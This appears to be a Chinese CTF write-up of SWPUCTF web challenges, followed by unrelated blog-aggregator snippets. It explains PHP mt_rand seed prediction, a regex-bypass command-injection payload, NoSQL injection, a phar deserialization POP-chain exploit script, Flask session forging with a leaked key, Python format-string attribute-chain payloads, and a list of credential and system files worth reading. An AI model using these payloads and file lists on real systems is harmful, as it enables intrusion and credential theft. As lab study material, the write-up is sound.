1.用优惠码 买个 X ?

(1)第一步:

这道题第一步主要知道利用php的随机种子数泄露以后就可以利用该种子数来预测序列,而在题目中会返回15位的优惠码,但是必须要24位的优惠码,因此要根据15位的求出种子以后扩展到24位,这里的优惠码因为是字符串形式的,所以需要整理成数字形式,也就是整理成方便 php_mt_seed 测试的格式。

  1. <?php
  2. //生成优惠码
  3. $_SESSION['seed']=rand(0,999999999);
  4. function youhuima(){
  5. mt_srand($_SESSION['seed']);
  6. $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  7. $auth='';
  8. $len=15;
  9. for ( $i = 0; $i < $len; $i++ ){
  10. if($i<=($len/2))
  11. $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
  12. else
  13. $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
  14. }
  15. setcookie('Auth', $auth);
  16. }
  17. ?>

比如我们现在有一条优惠码为:

youhuima = "hM7HljJR5ZHzWGF"

生成优惠码的字符串范围为

$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

此时我们可以利用已经有的优惠码在字符串中找到其对应的位置,也就是mt_rand的每一次的值,因为前8位都是一样的生成方式,所以我们只需要利用前8位来爆破出种子就可以了,因为php每次调用mt_rand使用的种子都是一样的。

因此利用以下代码还原优惠码的位置,并按照php_mt_rand接受的形式生成:

  1. When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().

也就是说当包含4个数字时,前两个应该是mt_rand生成的边界值,后面两个应该是mt_rand的取值范围。

所以有以下代码:

  1. <?php
  2. $str = "hM7HljJ"; #利用7位
  3. $randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  4.  
  5. for($i=0;$i<strlen($str);$i++){
  6. $pos = strpos($randStr,$str[$i]);
  7. echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
  8. //整理成方便 php_mt_seed 测试的格式
  9. //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
  10. }
  11. echo "\n";
  12. ?>

然后输出为:

  1. 7 7 0 61 48 48 0 61 33 33 0 61 43 43 0 61 11 11 0 61 9 9 0 61 45 45 0 61

此时便可以运行php_mt_rand来爆破种子了:

此时有了种子,只要根据上面生成优惠码的代码跑一次,生成长度为24的优惠码就可以了,到此第一步完成,主要知道在我们没有设置种子数的时候,php会我们自动播种,并且每次生成随机数都用的是相同的种子,因此可以爆破种子。

(2)第二步:

这一步主要熟悉php的preg_match函数的bypass技巧

  1. //support
  2. if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
  3. if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
  4. //执行命令
  5. }else {
  6. //flag字段和某些字符被过滤!
  7. }
  8. }else{
  9. // 你的输入不正确!
  10. }

这里使用了/im也就是不区分大小写并且使用多行匹配的模式,那么在多行匹配中只要第一行满足就会返回正确,所以只要使用多行来绕过就可以了,那么我们只要在第一行满足的情况下添加一个换行符然后后面拼接payload就可以了,也就是1.1.1.1%0a即可。

绕过第一层的过滤以后,第二层对一些命令和flag字符串进行的过滤,并且不能大小写绕过,并且也过滤了?和*这两个通配符,因为已经知道flag在/下面,所以直接读取:

可以以通过 f’la’g 或f[l][a]g等来绕过对flag的过滤,对文件可以用more,less命令也都行,如果非要用cat,也可以使用绕过flag相同的方法,这里我们使用grep -ri / flag* 就崩了,可能是查找的太多。

2.injection ???

这道题主要考nosql的注入,首先信息搜集以下,发现info.php,一般在phpinfo中我们可以看到php开了哪些扩展,在这里发现了mongodb,大胆猜测应该是php+mongodb,所以后面利用正则匹配出admin的密码就可以了,没啥好说的。

3.SimplePHP

以前一直懒,没去看pop链的构造,刚好这次题目中有这个所以好好学习了一下。这道题主要考察的是phar的反序列以及pop链的构造,

  1. 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
    该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

这里重点是可以不依赖unserialize()这个反序列化的函数,更加骚气了。

  1. 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

update:https://blog.zsxsoft.com/post/38 这篇文章发现并不局限于文件函数,这是一个所有的和IO有关的函数都有可能触发的问题,以下函数也可能发生此种问题,如果phar://不能出现在头几个字符,可以在最前面加compress.bzip2://orcompress.zlib://

这么多函数都会通过phar进行反序列化操作,而我们的利用点需要满足:

  1. 1.phar文件要能够上传到服务器端。
  2. 2.要有可用的魔术方法作为“跳板”。
  3. 3.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

下面来分析以下题目已经有的信息:

  1. $file = $_GET["file"] ? $_GET['file'] : "";
  2. if(empty($file)) {
  3. echo "<h2>There is no file to show!<h2/>";
  4. }
  5. $show = new Show();
  6. if(file_exists($file)) {
  7. $show->source = $file;
  8. $show->_show();
  9. } else if (!empty($file)){
  10. die('file doesn\'t exists.');
  11. }

在这里会对我们传的file文件调用file_exist()函数进行判断是否存在,对照上图可以发现这个函数的确存在漏洞,并且file是我们可以控制的。

那么利用点有了,下面就需要构造利用链,也就是pop链的构造,所以先去看看定义了哪些类,

  1. <?php
  2. class C1e4r
  3. {
  4. public $test;
  5. public $str;
  6. public function __construct($name)
  7. {
  8. $this->str = $name;
  9. }
  10. public function __destruct()
  11. {
  12. $this->test = $this->str;
  13. echo $this->test;
  14. }
  15. }
  16.  
  17. class Show
  18. {
  19. public $source;
  20. public $str;
  21. public function __construct($file)
  22. {
  23. $this->source = $file;
  24. echo $this->source;
  25. }
  26.  
  27. public function __toString()
  28. {
  29. $content = $this->str['str']->source;
  30. return $content;
  31. }
  32. public function __set($key,$value)
  33. {
  34. $this->$key = $value;
  35. }
  36.  
  37. public function _show()
  38. {
  39. if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
  40. die('hacker!');
  41. } else {
  42. highlight_file($this->source);
  43. }
  44.  
  45. }
  46. public function __wakeup()
  47. {
  48. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
  49. echo "hacker~";
  50. $this->source = "index.php";
  51. }
  52. }
  53. }
  54.  
  55. class Test
  56. {
  57. public $file;
  58. public $params;
  59. public function __construct()
  60. {
  61. $this->params = array();
  62. }
  63. public function __get($key)
  64. {
  65. return $this->get($key);
  66. }
  67. public function get($key)
  68. {
  69. if(isset($this->params[$key])) {
  70. $value = $this->params[$key];
  71. } else {
  72. $value = "index.php";
  73. }
  74. return $this->file_get($value);
  75. }
  76. public function file_get($value)
  77. {
  78. $text = base64_encode(file_get_contents($value));
  79. return $text;
  80. }
  81. }
  82. ?>

一共有三个类,因为要反序列化,所以要找到对对象进行反序列时会执行的函数,我们知道:

  1. 析构函数__destruct():当对象被销毁时会自动调用。
  2. __wakeup() :如前所提,unserialize()时会自动调用。

但是在可以利用的类中有show类中有__wakeup(),但是这只是一个过滤函数,其中只执行了赋值操作,没有利用的价值。剩下的就是在C1e4r这个类中存在__destruct()函数,所以我们的pop链的入口就是C1e4r这个类了,但是这个类中:

  1. class C1e4r
  2. {
  3. public $test;
  4. public $str;
  5. public function __construct($name)
  6. {
  7. $this->str = $name;
  8. }
  9. public function __destruct()
  10. {
  11. $this->test = $this->str;
  12. echo $this->test;
  13. }
  14. }

在执行反序列化以后只会输出$this->test,还给了另外两个类,肯定要关联到另外两个类,在show类中,存在__toString方法,所以只要令$this->test=show这个类的对象,就可以因为echo了show的对象而进一步调用

__toString()方法,因为我们最终需要访问到flag.php文件,所以必须有个读文件的函数,这里在test类中定义了file_get_contens()函数

  1. class Show
  2. {
  3. public $source;
  4. public $str;
  5. public function __construct($file)
  6. {
  7. $this->source = $file;
  8. echo $this->source;
  9. }
  10.  
  11. public function __toString()
  12. {
  13. $content = $this->str['str']->source;
  14. return $content;
  15. }
  16. public function __set($key,$value)
  17. {
  18. $this->$key = $value;
  19. }
  20.  
  21. public function _show()
  22. {
  23. if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
  24. die('hacker!');
  25. } else {
  26. highlight_file($this->source);
  27. }
  28.  
  29. }
  30. public function __wakeup()
  31. {
  32. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
  33. echo "hacker~";
  34. $this->source = "index.php";
  35. }
  36. }
  37. }
  1. class Test
  2. {
  3. public $file;
  4. public $params;
  5. public function __construct()
  6. {
  7. $this->params = array();
  8. }
  9. public function __get($key)
  10. {
  11. return $this->get($key);
  12. }
  13. public function get($key)
  14. {
  15. if(isset($this->params[$key])) {
  16. $value = $this->params[$key];
  17. } else {
  18. $value = "index.php";
  19. }
  20. return $this->file_get($value);
  21. }
  22. public function file_get($value)
  23. {
  24. $text = base64_encode(file_get_contents($value));
  25. return $text;
  26. }
  27. }

只要让$value为flag.php即可,那么向上走,$value = $this->params[$key],而这个$params是test的属性,key是get的参数,又是__get的参数,而__get这个函数是当访问类的不存在的属性或者私有属性时自动调用的魔术方法,因此得构造一个test的对象,并且让这个对象访问一个test类中不存在的方法,此时只有看show这个类了,因为在__toString中存在$content = $this->str['str']->source;所以我们可以,我们可以让str['str']为test类的对象,从而调用source来调用test类的__get方法,并且令test这个类对象的params的键为source,键的值为flag对应的绝对路径。

exp如下:

  1. <?php
  2. class C1e4r
  3. {
  4. public $test;
  5. public $str;
  6. }
  7. class Show
  8. {
  9. public $source;
  10. public $str;
  11. }
  12. class Test
  13. {
  14. public $file;
  15. public $params = array('source' => '/var/www/html/f1ag.php');
  16. }
  17.  
  18. $phar = new Phar("tr1ple.phar");
  19. $phar->startBuffering();
  20. $p1=new C1e4r();
  21. $p2=new Show();
  22. $p1->str=$p2;
  23. $p2->str['str']=new Test();
  24. $phar->addFromString("tr1ple.txt", "success");
  25. $phar->setMetadata($p1);
  26. $phar->stopBuffering();

pop链的构造就是通过类之间方法和属性的联系将他们环环相扣,要找好每个类之间的连接点。在反序列化后,原本的对象所带的属性将全部恢复,并且可以正常的调用原有类中的方法。

4.皇家线上赌场

我觉得这道题目还是在考察对python的熟悉程度,以及对linux系统的熟悉程度,有些比赛的题目中通过将一些敏感信息暴露在系统的配置文件中来让我们找,可能在真实的实战环境中也可以通过系统或应用的配置信息来得到一些可以利用的点。

系统通用的配置文件有:

  1. /etc/passwd
  2. /etc/my.cnf
  3. /etc/shadow
  4. /etc/sysconfig/network-scripts/ifcfg-eth0 ip地址
  5. /etc/hosts 通常配置了一些内网域名

文件读取的情况下文件读取的情况下当然可以可以读取proc目录下的文件来获得更多系统的信息。

  1. ssh免密码登录的秘钥文件等
  2. /root/.ssh/authorized_keys
  3. /root/.ssh/id_rsa
  4. /root/.ssh/id_rsa.keystore
  5. /root/.ssh/id_rsa.pub
  6. /root/.ssh/known_hosts
  7. 加密后的用户口令位置
  8. /etc/shadow
  9. 历史命令
  10. /root/.bash_history
  11. /root/.mysql_history
  12. 进程文件
  13. /proc/self/fd/fd[-]* (文件标识符)
  14. 检查已经被系统挂载的设备
  15. /proc/mounts
  16. 机器的内核配置文件
  17. /proc/config.gz
  18. window
  19. C:/boot.ini //查看系统版本
  20. C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件
  21. C:/Windows/repairsam //存储系统初次安装的密码
  22. C:/Program Files/mysqlmy.ini //Mysql配置
  23. C:/Program Files/mysql/data/mysqluser.MYD //Mysql root
  24. C:/Windows/php.ini //php配置信息
  25. C:/Windows/my.ini //Mysql配置信息
  1. /proc/sched_debug 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
  2. /proc/mounts 挂载的文件系统列表
  3. /proc/net/arp arp表,可以获得内网其他机器的地址
  4. /proc/net/route 路由表信息
  5. /proc/net/tcp and /proc/net/udp 活动连接的信息
  6. /proc/net/fib_trie 路由缓存
  7. /proc/version 内核版本
  8. /proc/[PID]/cmdline 可能包含有用的路径信息
  9. /proc/[PID]/environ 程序运行的环境变量信息,可以用来包含getshell
  10. /proc/[PID]/cwd 当前进程的工作目录
  11. /proc/[PID]/fd/[#] 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

而在这道题目中明显存在文件读取的漏洞:

并且在题目中已经有给出的路径树以及tips:

  1. if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -:
  2. return abort()

从tips中可以看到,如果我们访问的路径中存在/home/ctf/web/app的话就会返回404。

因此我们以此绝对路径去bypass访问web目录中的文件,这里又要用道python的一个trick,os.path.join 函数的一个特性:参数中的绝对路径参数前面的所有参数会被忽略

所以此时就需要利用/proc目录下的文件

当访问/proc/self/environ时,会返回如下所示:

当访问/etc/passwd的时候,会返回如下所示:

而通过/proc/self/maps 可以看到web路径,但是并不能通过此web路径来直接访问文件,后面出题人说是禁止了直接访问,此时就要用到上面说的其中一条:

  1. /proc/[pid]/cwd是进程当前工作目录的符号链接

因为前面已经出现过os.path.join('app/static', filename),所以当前路径就是源码所在的路径,所以/proc/self/cwd/app/views.py,就能够读到文件,把能读的都读一遍,能读到源码的话,flask的题目肯定拿到secret key就可以伪造session了。

这里伪造session也是有点坑,因为题目的环境是python3.5写的,所以用python2伪造的session无法通过,需要用python3的环境才行,不要一味的相信工具。

下面是出题人给的exp:

  1. from flask.sessions import SecureCookieSessionInterface
  2.  
  3. class App(object):
  4. secret_key = '9f516783b42730b7888008dd5c15fe66'
  5.  
  6. s = SecureCookieSessionInterface().get_signing_serializer(App())
  7. u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8')
  8. print(u)
  9. u['username'] = 'admin'
  10. print(s.dumps(u))

使用python3运行以后,出来的sesion就可以通过服务器端的校验,这里只需要伪造username这一个字段就可以了,其他的服务端不作为身份校验,到此以admin登陆以后第一步就完成了,接下来是第二步:

格式化字符串攻击:

前置知识:

从python2.6开始,就有了用format来格式化字符串的新特性,它可以通过{}来确定出字符串格式的位置和关键字参数,并且随时可以显式对数据项重新排序。此外,它甚至可以访问对象的属性和数据项——这是导致这里的安全问题的根本原因。

这里贴两个大佬的记录链接:

  1. 1.https://github.com/bit4woo/code2sec.com/blob/master/Python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5.md
  2. 2.https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

看了大佬写的文章以后,我觉得这个漏洞主要还是攻击者能够控制format的结果,从而通过当前环境可以访问到的对象,比如user,order(必须是使用到的)等等,比如Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。通过这些对象来构造一条属性链到达一些全局的配置信息对象比如settings或其他敏感配置项,进而越权访问一些环境中的配置信息和敏感信息,回到题目中:

__init__.py的代码如下

  1. from .app import Flask, Request, Response
  2. from .config import Config
  3. from .helpers import url_for, flash, send_file, send_from_directory,
  4. get_flashed_messages, get_template_attribute, make_response, safe_join,
  5. stream_with_context
  6. from .globals import current_app, g, request, session, _request_ctx_stack,
  7. _app_ctx_stack

可以看到current_app和g在同一个命名空间下,我们这里需要学习下g是啥:

  1. ### 保存全局变量的g属性:
  2.  
  3. gglobal
  4.  
  5. 1. g对象是专门用来保存用户的数据的。
  6.  
  7. 2. g对象在一次请求中的所有的代码的地方,都是可以使用的。

getflag的路由如下,在我们登陆后

  1. @app.route('/getflag', methods=('POST',))
  2. @login_required
  3. def getflag():
  4. u = getattr(g, 'u')
  5. if not u or u.balance < 1000000:
  6. return '{"s": -1, "msg": "error"}'
  7. field = request.form.get('field', 'username')
  8. mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
  9. jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
  10. return jdata.format(field, g.u, mhash)

其中getattr函数是获取当前对象的属性,也就是获取g对象的u这个属性,当登陆以后,u.balance>1000000以后就会调用request.form.get函数来获取field和username参数的值,为post方法。

接下来就会进行format,format为

  1. '{{{field}:{g.u.field},hash: {mhash}}}'

这里format有三个点,0,1,2,我们可以控制的点有1后面,有大佬测试了field,也就是跟在g.u之后,借用他的图,field=__class__,也就是g.u.__class__

显示为app.models.User,说明类的继承为user->models->app,所以应该先向上到models再到app,再读g.flag,出题人提示了方法,所以可以直接使用

  1. __class__.save.__globals__[db].__class__.__init__.__globals__

当到了这一步的时候,已经可以获取到current_app这个类,它也就是flask的app了,因此到达这里就到达链条的顶端了,然后就向下找flag

可以看到app.before_request下面存在g,因此就可以通过current这个类来点用它来访问g.flag,完整的payload

  1. field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag

因为flag在g这个全局的对象下面,所以我们才能这样访问,先找g,再在g这个空间中去找flag

  1. save.__globals__[db].__init__.__globals__[request].application.__self__._get_data_for_json.__globals__[current_app]._get_exc_class_and_code.__globals__[find_package].__globals__[_app_ctx_stack].top.g.flag

运用脚本寻找继承链:

这个脚本是从python的request这个对象开始找,我们模拟将flag放在g的空间下,那么脚本就会自动利用python中自带的类或对象去寻找g.flag

  1. import flask
  2. import os
  3. from flask import request
  4. from flask import g
  5. from flask import config
  6.  
  7. app = flask.Flask(__name__)
  8.  
  9. def search(obj, max_depth):
  10. visited_clss = []
  11. visited_objs = []
  12.  
  13. def visit(obj, path='obj', depth=0):
  14. yield path, obj
  15.  
  16. if depth == max_depth:
  17. return
  18.  
  19. elif isinstance(obj, (int, float, bool, str, bytes)):
  20. return
  21.  
  22. elif isinstance(obj, type):
  23. if obj in visited_clss:
  24. return
  25. visited_clss.append(obj)
  26. print(obj)
  27.  
  28. else:
  29. if obj in visited_objs:
  30. return
  31. visited_objs.append(obj)
  32.  
  33. # attributes
  34. for name in dir(obj):
  35. if name.startswith('__') and name.endswith('__'):
  36. if name not in ('__globals__', '__class__', '__self__',
  37. '__weakref__', '__objclass__', '__module__'):
  38. continue
  39. attr = getattr(obj, name)
  40. yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
  41.  
  42. # dict values
  43. if hasattr(obj, 'items') and callable(obj.items):
  44. try:
  45. for k, v in obj.items():
  46. yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
  47. except:
  48. pass
  49.  
  50. # items
  51. elif isinstance(obj, (set, list, tuple, frozenset)):
  52. for i, v in enumerate(obj):
  53. yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
  54.  
  55. yield from visit(obj)
  56.  
  57. @app.route('/')
  58. def index():
  59. return open(__file__).read()
  60.  
  61. @app.route('/shrine/')
  62. def shrine():
  63. g.flag = 'flag{}'
  64. for path, obj in search(request, 10):
  65. if obj == g.flag:
  66. return path
  67.  
  68. if __name__ == '__main__':
  69. app.run(debug=True)

swpuctf-web部分学习总结的更多相关文章

  1. 每天成长一点---WEB前端学习入门笔记

    WEB前端学习入门笔记 从今天开始,本人就要学习WEB前端了. 经过老师的建议,说到他每天都会记录下来新的知识点,每天都是在围绕着这些问题来度过,很有必要每天抽出半个小时来写一个知识总结,及时对一天工 ...

  2. 【web前端学习部落22群】分享 碰撞的小球开源小案例

    对于课程中的疑问,大家可以加 web前端学习部落22群 120342833和其他老师还有众多的小伙伴们进行沟通交流哦,群里还有不少技术大拿.行业大牛 可以一起探讨问题,我们也会安排专业的技术老师为大家 ...

  3. web前端学习部落22群开源分享 左边菜单导航

    有大量web前端开发工具及学习资料,可以搜群[ web前端学习部落22群 ]进行下载,遇到学习问题也可以问群内专家以及课程老师哟 <!DOCTYPE html> <html lang ...

  4. 【前端】移动端Web开发学习笔记【2】 & flex布局

    上一篇:移动端Web开发学习笔记[1] meta标签 width设置的是layout viewport 的宽度 initial-scale=1.0 自带 width=device-width 最佳实践 ...

  5. 【前端】移动端Web开发学习笔记【1】

    下一篇:移动端Web开发学习笔记[2] Part 1: 两篇重要的博客 有两篇翻译过来的博客值得一看: 两个viewport的故事(第一部分) 两个viewport的故事(第二部分) 这两篇博客探讨了 ...

  6. 【前端】Web前端学习笔记【2】

    [2016.02.22至今]的学习笔记. 相关博客: Web前端学习笔记[1] 1. this在 JavaScript 中主要有以下五种使用场景 在全局函数调用中,this 绑定全局对象,浏览器环境全 ...

  7. web框架学习列表

    转载自鲁塔弗的博客,原文网址:http://lutaf.com/148.htm web framework层出不穷,特别是ruby/python,各有10+个,php/java也是一大堆 根据我自己的 ...

  8. 立方体旋转 【web前端学习部落22群120342833】

    效果: HTML部分: <body class="body"> <div class="rect-wrap">   <!-- // ...

  9. 【前端】Web前端学习笔记【1】

    ... [2015.12.02-2016.02.22]期间的学习笔记. 相关博客: Web前端学习笔记[2] 1. JS中的: (1)continue 语句 (带有或不带标签引用)只能用在循环中. ( ...

  10. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

随机推荐

  1. 使用VS Code开发C++

    1. 参考/转载 vs code进行c/c++开发 VSCode 的第一个C++程序(windows)[更新2018.10.28] 2. C++开发相关插件(扩展商店中直接搜索) 至少要装C/C++. ...

  2. chkconfig的原理 和添加开机自启动的办法

    当我们使用 chkconfig --list的时候 都会又  123456 这样的级别. 当某个级别是 on 他就会开机启动,当他是off 的时候他就不会开机自启动. 那么这是什么原因呢?他的 原理是 ...

  3. javascript按键盘上/右/下/左箭头加速运动

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. Python爬虫:带参url的拼接

    如果连接直接这样写,看上去很直观,不过参数替换不是很方便,而且看着不舒服 https://www.mysite.com/?sortField=%E4%BA%BA%E5%B7%A5%E6%99%BA%E ...

  5. Ubuntu 安装后的配置及美化(二)

    Ubuntu安装后的配置与美化(二) 上篇文章讲了安装ubuntu后的一系列基础的配置,已经可以满足日常的使用了,这篇文章讲一下安装 IDE 及一些其他的配置. 1.安装 SSR 下载 SSR 客户端 ...

  6. Python爬取招聘信息,并且存储到MySQL数据库中

    前面一篇文章主要讲述,如何通过Python爬取招聘信息,且爬取的日期为前一天的,同时将爬取的内容保存到数据库中:这篇文章主要讲述如何将python文件压缩成exe可执行文件,供后面的操作. 这系列文章 ...

  7. win10在CMD操作MySQL时中文显示乱码

    根据网上说明直接修改数据库各种的字符集没有效果,后来经过测试发现需要先更换至旧版CMD才行. 具体总流程如下: 1.在边框栏上右键,打开属性栏. 2.选择“使用旧版控制台” 3.重启CMD,并设置字符 ...

  8. 3C - Youmu

    (ans & arr[j]) == ans 保证高位已有值不失效. ((ans[j] >> (i - 1)) & 1) == 1 当前位为1,cnt++, cnt > ...

  9. centos 安装搜狗

    原文:https://www.cnblogs.com/blueherb/p/9521827.html 1.通过centos的搜狐到百度下载linux fo sougou 注:找到下载路径(定义为A) ...

  10. C++_基础3-循环和关系表达式

    这一部分内容节选自<C++ Primer Plus>的第五章 程序需要有执行重复的操作和进行决策的工具. ========================================= ...